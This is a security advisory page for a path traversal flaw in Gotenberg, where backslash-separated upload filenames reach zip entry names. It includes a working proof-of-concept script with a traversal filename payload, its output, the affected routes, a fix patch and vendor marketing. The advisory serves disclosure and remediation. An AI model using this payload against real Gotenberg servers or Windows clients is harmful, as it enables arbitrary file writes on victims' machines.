Summary
Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename
filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.
Details
pkg/modules/api/context.go:434, 472:
filename := norm.NFC.String(filepath.Base(fh.Filename))
On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim, there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:
originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)
Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/[email protected]/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, ""), the map value verbatim.
PoC
Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.
mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc
docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done
# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf
# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
-F '[email protected];filename=a.pdf' \
-F '[email protected];filename=b.pdf'
# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)
z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
print(f' {info.orig_filename!r}')
# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f' {binascii.hexlify(data[idx:idx+80]).decode()}')
PY
docker stop gotenberg-audit
Observed output:
HTTP=200 ctype=application/zip bytes=24750
--- zip entries (orig_filename) ---
'..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
'..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f
The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)
To see the Windows-side traversal effect on a Windows host, run:
Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf
PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.
Impact
- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET
ZipFile.ExtractToDirectory). - Reachable via every multi-output Gotenberg route,
/forms/pdfengines/split,/forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate(when called with multiple input PDFs),/forms/libreoffice/convertwith multiple inputs,/forms/pdfengines/convert. - Also reachable via
downloadFromupstreamContent-Disposition: filename="..\\..\\evil.exe", the filename flows through the samectx.diskToOriginalmap atpkg/modules/api/context.go:354, 393.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-44829 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.33.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+ if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+ name = name[i+1:]
+ }
+ name = norm.NFC.String(name)
+ // Optional belt-and-braces:
+ name = strings.ReplaceAll(name, "..", "_")
+ name = strings.Map(func(r rune) rune {
+ if r < 0x20 || r == 0x7f { return -1 }
+ return r
+ }, name)
+ return name
+ }
The same sanitiser closes Advisory 8.
Frequently Asked Questions
- What is CVE-2026-44829? CVE-2026-44829 is a high-severity path traversal vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.32.0. It is fixed in 8.33.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-44829? CVE-2026-44829 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-44829? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.32.0 is affected.
- Is there a fix for CVE-2026-44829? Yes. CVE-2026-44829 is fixed in 8.33.0. Upgrade to this version or later.
- Is CVE-2026-44829 exploitable, and should I be worried? Whether CVE-2026-44829 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44829 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44829? Upgrade
github.com/gotenberg/gotenberg/v8to 8.33.0 or later.